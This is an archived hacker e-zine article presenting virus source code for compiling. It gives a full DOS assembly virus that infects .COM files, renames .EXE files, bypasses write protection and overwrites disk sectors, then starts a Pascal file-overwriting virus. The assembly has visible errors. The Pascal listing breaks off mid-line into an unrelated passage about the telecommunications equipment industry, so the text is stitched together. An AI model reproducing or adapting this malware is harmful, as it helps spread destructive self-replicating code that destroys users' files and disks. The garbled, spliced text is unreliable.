home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / n_z / phun3.002 < prev    next >
Encoding:
Text File  |  2003-06-11  |  18.0 KB  |  535 lines

  1. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  2. =                 P/HUN Issue #3, Volume 2: Phile #2 of 11                    =
  3. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4.  
  5.                  Viruses: Assembly, Pascal, Basic & Batch
  6.                  ----------------------------------------
  7.                           By  Tesla Coil ][
  8.  
  9.  
  10. [ I do not take any responsibility for any damages that may occur when  ]
  11. [ compiling viruses in this article. This article has been written to   ]
  12. [ promote knowledge into the amazing world of computer viruses.         ]
  13.  
  14. Viruses can be written in practically every computer language known today. 
  15. Although most effective viruses have been written in Assembly. 
  16.  
  17. Many of us think that viruses cannot be written in Basic due to its limited  
  18. ability. This is untrue. Basic has the capability of producing very effective
  19. viruses if properly used. Combining assembly and basic could futher enhance 
  20. the effectiveness of the virus.
  21.  
  22. In this article we will examine some viruses written in Assembly, Pascal, Basic
  23. and Batch written by B. Fix, R. Burger and M. Vallen which proved to be very 
  24. intresting to me.
  25.  
  26. Please use some caution handling these virus programs. Please use a separate
  27. disks when you wish to compile.
  28.  
  29.                         Virus in Assembly Language 
  30.                         -------------------------- 
  31.  
  32. Most viruses out there have been written in assembly because assembly has the
  33. unique ability to bypass operating system security.
  34. Here is an example of a virus written under MS-DOS 2.1 and can obviously be
  35. compiled in the later versions. The article contains remarks so as to further
  36. explain the parts. Programmers may wish to delete those segments if desired.
  37.  
  38. ***************************************************
  39. ;   Program Virus        
  40. ;   Version 1.1
  41. ;   Writter : R. Burger
  42. ;   Created 1986
  43. ;   This is a demonstration program for computer 
  44. ;   viruses. It has the ability to replace itself.
  45. ;   and thereby modify other programs. Enjoy.
  46. ;**************************************************
  47.  
  48. Code   Segment
  49.        Assume  CS:Code
  50. progr  equ 100h
  51.        ORG progr
  52.  
  53. ;**************************************************
  54. ;   The three NOP's serve as the marker byte of the  
  55. ;   virus which allow it to identify a virus.
  56. ;**************************************************
  57.  
  58. MAIN:
  59.        nop
  60.        nop
  61.        nop
  62.  
  63. ;**************************************************
  64. ;   Initialize the pointers
  65. ;**************************************************
  66.  
  67.        mov ax,00
  68.        mov es:[pointer],ax
  69.        mov es:[counter],ax
  70.        mov es:[disks],al
  71.  
  72. ;**************************************************
  73. ;   Get the selected drive
  74. ;**************************************************
  75.  
  76.        mov ah,19h             ;drive?
  77.        int 21h    
  78.  
  79. ;**************************************************
  80. ;   Get the current path on the current drive
  81. ;**************************************************
  82.  
  83.        mov cs:drive,al        ;save drive
  84.        mov ah,47h             ;dir?
  85.        mov dh,0               
  86.        add al,1
  87.        mov dl,al              ;in actual drive
  88.        lea si,cs:old_path     ;
  89.        int 21h
  90.  
  91. ;**************************************************
  92. ;   Get the number of drives present. If only one   
  93. ;   is present, the pointer for the search order
  94. ;   will be set to serach order + 6
  95. ;**************************************************
  96.  
  97.        mov as,0eh             ;how many disks
  98.        mov dl,0               ;
  99.        int 21h
  100.  
  101.        mov al,01
  102.        cmp al,01              ;one drive
  103.        jnz hups3
  104.        mov al,06
  105.        
  106. hups3: mov ah,0
  107.        lea bx,search_order
  108.        add bx,ax
  109.        add bx,0001h
  110.        mov cs:pointer,bx
  111.        clc
  112.  
  113. ;**************************************************
  114. ;   Carry is set, if no more .COM's are found.      
  115. ;   Then, to avoid unnecessary work, .EXE files will
  116. ;   be renamed to .COM files and infected.
  117. ;   This causes the error message "Program to large
  118. ;   to fit memory" when starting larger infected
  119. ;   EXE programs.
  120. ;*************************************************
  121.  
  122. change_disk:
  123.       jnc no_name_change
  124.       mov ah,17h              ;change .EXE to .COM
  125.       lea dx,cs:maske_exe
  126.       int 21h
  127.       cmp al,0ffh
  128.       jnz no_name_change      ;.EXE found?
  129.  
  130. ;****************************************************
  131. ;   If neither  .COM nor .EXE is found then sectors
  132. ;   will be overwritten depending on the system time
  133. ;   in milliseconds. This is the time of the complete
  134. ;   "infection" of a storage medium. The virus can
  135. ;   find nothing more to infect and starts its destruction
  136. ;*****************************************************   
  137.  
  138.       mov ah,2ch              ; read system clock
  139.       int 21h
  140.       mov bx,cs:pointer
  141.       mov al,cs:[bx]
  142.       mov bx,dx
  143.       mov cx,2
  144.       mov dh,0
  145.       int 26h                 ; write crap on disk
  146.  
  147. ;******************************************************
  148. ;   Check if the end of the search order table has been
  149. ;   reached . If so, end.
  150. ;******************************************************
  151.  
  152. no_name_change:
  153.       mov bx,cs:pointer
  154.       dec bx
  155.       mov cs:pointer,bx
  156.       mov dl,cs:[bx]
  157.       cmp dl,0ffh
  158.       jnz hups2
  159.       jmp hops
  160.  
  161. ;****************************************************
  162. ;   Get new drive from the search order table and
  163. ;   select it .
  164. ;***************************************************
  165.  
  166. hups2:
  167.       mov ah,0eh
  168.       int 21h                    ;change disk
  169.  
  170. ;***************************************************
  171. ;   Start in the root directory
  172. ;***************************************************  
  173.  
  174.       mov ah,3bh                 ;change path
  175.       lea dx,path
  176.       int 21h
  177.       jmp find_first_file
  178.  
  179. ;**************************************************
  180. ;   Starting from the root, search for the first
  181. ;   subdir. FIrst convert all .EXE files to .COM
  182. ;   in the old directory
  183. ;**************************************************
  184.  
  185. find_first_subdir:
  186.       mov ah,17h                 ;change .exe to .com
  187.       lea dx,cs:maske_exe
  188.       int 21h
  189.       mov ah,3bh                 ;use root directory
  190.       lea dx,path
  191.       int 21h
  192.       mov ah,04eh                ;search for first subdirectory
  193.       mov cx,00010001b           ;dir mask
  194.       lea dx,maske_dir           ;
  195.       int 21h                    ;
  196.       jc change_disk
  197.       mov bx,CS:counter
  198.       INC,BX
  199.       DEC bx
  200.       jz  use_next_subdir
  201.  
  202. ;*************************************************
  203. ;   Search for the next subdirectory. If no more
  204. ;   directories are found, the drive will be changed.
  205. ;*************************************************
  206.  
  207. find_next_subdir:
  208.       mov ah,4fh               ; search for next subdir
  209.       int 21h 
  210.       jc change_disk
  211.       dec bx
  212.       jnz find_next_subdir
  213.  
  214. ;*************************************************
  215. ;   Select found directory.
  216. **************************************************
  217.  
  218. use_next_subdir:      
  219.       mov ah,2fh               ;get dta address
  220.       int 21h
  221.       add bx,1ch
  222.       mov es:[bx],'\`          ;address of name in dta
  223.       inc bx
  224.       push ds
  225.       mov ax,es
  226.       mov ds,ax
  227.       mov dx,bx
  228.       mov ah,3bh               ;change path
  229.       int 21h
  230.       pop ds
  231.       mov bx,cs:counter
  232.       inc bx
  233.       mov CS:counter,bx
  234.  
  235. ;**************************************************
  236. ;    Find first .COM file in the current directory.
  237. ;    If there are none, search the next directory.
  238. ;**************************************************
  239.  
  240. find_first_file:
  241.       mov ah,04eh              ;Search for first
  242.       mov cx,00000001b         ;mask
  243.       lea dx,maske_com         ;
  244.       int 21h                  ;
  245.       jc find_first_subdir
  246.       jmp check_if_ill
  247.  
  248. ;**************************************************
  249. ;   If program is ill(infected) then search for
  250. ;   another other.
  251. ;************************************************** 
  252.  
  253. find_next_file:
  254.       mov ah,4fh               ;search for next
  255.       int 21h
  256.       jc find_first_subdir
  257.  
  258. ;*************************************************
  259. ;   Check is already infected by virus.
  260. **************************************************
  261.  
  262. check_if_ill:
  263.       mov ah,3dh              ;open channel
  264.       mov al,02h              ;read/write
  265.       mov dx,9eh              ;address of name in dta
  266.       int 21
  267.       mov bx,ax               ;save channel
  268.       mov ah,3fh              ; read file
  269.       mov ch,buflen           ;
  270.       mov dx,buffer           ;write in buffer
  271.       int 21h 
  272.       mov ah,3eh              ;close file
  273.       int 21h  
  274.  
  275. ;***************************************************
  276. ;   This routine will search the three NOP's(no 
  277. ;   operation).If present there is already an infection.
  278. ;   We must then continue the search
  279. ;****************************************************
  280.  
  281.      mov bx,cs:[buffer]
  282.      cmp bx,9090h
  283.      jz find_next_file
  284.  
  285. ;***************************************************
  286. ;   This routine will BY PASS MS-DOS WRITE PROTECTION
  287. ;   if present. Very important !
  288. ;***************************************************
  289.  
  290.      mov ah,43h               ;write enable
  291.      mov al,0          
  292.      mov dx,9eh               ;address of name in dta
  293.      int 21h 
  294.      mov ah,43h
  295.      mov al,01h
  296.      and cx,11111110b
  297.      int 21h
  298.  
  299. ;****************************************************
  300. ;   Open file for read/write access.
  301. *****************************************************
  302.  
  303.      mov ah,3dh               ;open channel
  304.      mov al,02h               ;read/write
  305.      mov dx,9eh               ;address of name in dta
  306.      int 21h
  307.  
  308. ;****************************************************
  309. ;   Read date entry of program and save for future
  310. ;   use.
  311. ;****************************************************
  312.  
  313.     mov bx,ax                ;channel
  314.     mov ah,57h               ;get date
  315.     mov al.0
  316.     int 21h
  317.     push cx                  ;save date
  318.     push dx 
  319.  
  320. ;****************************************************
  321. ;   The jump located at address 0100h of the program
  322. ;   will be saved for further use.
  323. *****************************************************
  324.  
  325.     mov dx,cs:[conta]        ;save old jmp
  326.     mov cs:[jmpbuf],dx
  327.     mov dx,cs:[buffer+1]     ;save new jump
  328.     lea cx,cont-100h
  329.     sub dx,cx
  330.     mov cs:[conta],dx
  331.  
  332. ;***************************************************** 
  333. ;   The virus copies itself to the start of the file. 
  334. ;***************************************************** 
  335.  
  336.     mov ah,57h               ;write date
  337.     mov al,1         
  338.     pop dx
  339.     pop cx                   ;restore date
  340.     int 21h
  341.  
  342. ;*****************************************************
  343. ;   Close the file.
  344. ;*****************************************************
  345.  
  346.     mov ah,3eh               ;close file
  347.     int 21h
  348.  
  349. ;*****************************************************
  350. ;   Restore the old jump address. The virus saves at
  351. ;   address "conta" the jump which was at the start of
  352. ;   the host program.
  353. ;   This is done to preserve the executability of the
  354. ;   host program as much as possible.
  355. ;   After saving it still works with the jump address
  356. ;   contained in the virus. The jump address in the 
  357. ;   virus differs from the jump address in memory.
  358. ;****************************************************
  359.  
  360.     mov dx,cs:[jmpbuf]       ;restore old jump
  361.     mov cs:[conta],dx
  362. hops:  nop
  363.        call use_old
  364.  
  365. ;****************************************************
  366. ;   Continue with the host program.
  367. ;****************************************************
  368.     
  369. cont    db 0e9h                ;make jump
  370. conta   dw 0
  371.         mov ah,00
  372.         int 21h    
  373.  
  374. ;***************************************************
  375. ;   Reactivate the selected drive at the start of  
  376. ;   the program.
  377. ;***************************************************
  378.  
  379. use_old:
  380.         mov ah,0eh             ;use old drive
  381.         mov dl,cs:drive 
  382.         int 21h 
  383.  
  384. ;*************************************************** 
  385. ;    Reactivate the selected path at the start of
  386. ;    the program.
  387. ;***************************************************
  388.  
  389.         mov ah,3bh             ;use old drive
  390.         lea dx,old_path-1      ;get old path and backslash
  391.         int 21h
  392.         ret
  393.  
  394. search_order db 0ffh,1,0,2,3,0ffh,00,offh
  395. pointer      dw   0000           ;pointer f. search order
  396. counter      dw   0000           ;counter f. nth. search 
  397. disks        db    0             ;number of disks
  398.  
  399. maske_com    db "*.com",00       ;search for com files
  400. maske_dir    db "*",00           ;search for dir's
  401. maske_exe    db offh,0,0,0,0,0,00111111b 
  402.              db 0,"????????exe",0,0,0,0
  403.              db 0,"????????com",0
  404. maske_all    db offh,0,0,0,0,0,00111111b
  405.              db 0,"???????????",0,0,0,0
  406.              db 0,"????????com",0
  407.  
  408. buffer equ 0e00h                 ;a safe place
  409.  
  410. buflen equ 230h                  ;lenght of virus!!!!
  411.                                  ;carefull
  412.                                  ;if changing!!!!
  413. jmpbuf equ buffer+buflen         ;a safe place for jmp
  414. path  db "\",0                   ;first place
  415. drive db 0                       ;actual drive
  416. back_slash db "\"
  417. old_path db 32 dup (?)           ;old path
  418.  
  419. code ends
  420.  
  421. end main
  422.  
  423. [ END OF THIS VIRUS PROGRAM ]
  424.  
  425.  
  426.  
  427.                              Virus in Pascal         
  428.                              ---------------           
  429.  
  430.  
  431. Pascal is another high level language that can produce eye popping computer
  432. viruses. Especially when the usage of Turbo Pascal is involved. 
  433. The virus below was available through various bulletin boards for
  434. a while.    
  435.  
  436. {
  437. ------------------------------------------------------------------
  438. Number One
  439.  
  440.  
  441. Please handle this virus with care!!!!!!!!!!! [Deadly Demo]
  442.  
  443. Number One infects all .COM - file's name will be displayed 
  444. That file has been overwritten with Number Ones's program code and
  445. is not reconstructible! If all files are infected or or no .COM
  446. files are found, Number one gives you a <Smile>.
  447. Files may be protected against infections of Number One by
  448. setting the Read ONLY attribute.
  449.  
  450. Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A)
  451.  
  452. ------------------------------------------------------ }           
  453. }
  454.  
  455. {C-}
  456. {U-}
  457. {I-}       { Wont allow a user break, enable IO check}
  458.  
  459. { -- Constants --------------------------------------- }          
  460.  
  461. Const
  462.      VirusSize = 12027;    {Number One's code size}
  463.     
  464.      Warning   :String[42]    {Warning message}
  465.      = 'This file has been infected ny Number One!';
  466.  
  467. { -- Type declarations------------------------------------- }
  468.  
  469. Type
  470.      DTARec    =Record      {Data area for file search }
  471.      DOSnext  :Array[1..21] of Byte;
  472.                    Attr    : Byte;
  473.                    Ftime, 
  474.                    FDate,
  475.                    FLsize,
  476.                    FHsize  : Integer;
  477.                    FullName: Array[1..13] of Char;
  478.                  End;
  479.  
  480. Registers    = Record    {Register set used for file search }
  481.    Case Byte of
  482.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  483.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  484.    End;
  485.  
  486. { -- Variables--------------------------------------------- } 
  487.  
  488. Var
  489.                                { Memory offset program code }
  490.    ProgramStart : Byte absolute Cseg:$100;
  491.                                           { Infected marker }
  492.    MarkInfected : String[42] absolute Cseg:$180;
  493.    Reg          : Registers;                 { Register set }
  494.    DTA          : DTARec;                       { Data area }
  495.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  496.    TestID       : String[42]; { To recognize infected files }
  497.    UsePath      : String[66];        { Path to search files } 
  498.                                     { Lenght of search path }
  499.    UsePathLenght: Byte absolute UsePath;
  500.    Go           : File;                    { File to infect }
  501.    B            : Byte;                              { Used }
  502.  
  503. { -- Program code----------------------------------------tly -- the late 1960s -- global telecommunications had 
  504. presented a tidy pattern.  National post/telecommunications administrations 
  505. were ordering , maintaing and renewing autonomous networks normally from their 
  506. national suppliers.  They gradually provided, it is true, services additional
  507. to the voice-telephone, mail and telegraph, such as telex and facsimile 
  508. transmission and, of course, televison and radio for news, entertainment, 
  509. sports, etc.  Service was fragmented too:  the transmission and exchange of 
  510. informaton -- of text, graphics and vision via the public network -- had not 
  511. yet arrived.
  512.  
  513. There were, of course, companies selling public electromechanical systems 
  514. (Strowger, cross-bar) and later electronic analog systems, beyond their 
  515. national frontiers.  For L.M. Ericsson of Sweden, for instance, the national 
  516. base was too small to sustain and expand the company, ITT, of the US, sought 
  517. to bypass the AT&T monopoly in the national telecommunications service -- in 
  518. both telephony and switching equipment -- by exporting their equipment through 
  519. major subsidiaries such as CGCT in France, SEL in West Germany and others in 
  520. the UK, Italy, Belgium, Spain and elsewhere.
  521.  
  522. Among the most spectacular events of recent years has been the merging of 
  523. Alcatel (telecommunications subsidaiary of the CGE group) of France and the 
  524. telecommunications division of the US concern ITT in January this year.  THe 
  525. new company, Alcatel NV, is registered in the Netherlands but is headquarted 
  526. in Brussels.  The merger (in which Alcatel has a majority holding) has created 
  527. the world's largest public switching and second-largest telecommunications 
  528. company (after AT&T).
  529.  
  530. AT&T itself set up four years ago a jointly owned company -APT- with Philips, 
  531. of the Netherlands, Europe's top electrical and electronics concern alongside 
  532. Siemens, of West Germany.
  533.  
  534. North America (mainly the US) is, as Table II indicates, the largest single 
  535. market in the world for public exchanges:  hence the intense intrest show